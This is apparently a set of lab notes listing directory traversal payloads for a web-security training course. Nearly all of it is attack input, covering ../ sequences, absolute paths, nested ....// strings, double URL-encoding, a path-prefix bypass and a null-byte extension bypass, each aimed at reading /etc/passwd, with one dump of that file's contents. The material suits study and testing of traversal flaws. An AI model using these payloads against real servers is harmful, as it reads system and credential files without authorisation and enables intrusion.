Directory traversal File path traversal, simple case image?filename=../../../etc/passwd root:x:0:0:root:/root:/bin/bash daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin bin:x:2:2:bin:/bin:/usr/sbin/nologin sys:x:3:3:sys:/dev:/usr/sbin/nologin sync:x:4:65534:sync:/bin:/bin/sync games:x:5:60:games:/usr/games:/usr/sbin/nologin man:x:6:12:man:/var/cache/man:/usr/sbin/nologin ... File path traversal, traversal sequences blocked with absolute path bypass image?filename=/etc/passwd File path traversal, traversal sequences stripped non-recursively ?filename=....//....//....//etc/passwd File path traversal, traversal sequences stripped with superfluous URL-decode ?filename=..%252f..%252f..%252fetc/passwd # Decodes to ..%2f..%2f..%2fetc/passwd File path traversal, validation of start of path ?filename=/var/www/images/../../../etc/passw File path traversal, validation of file extension with null byte bypass ?filename=../../../etc/passwd%00.jpg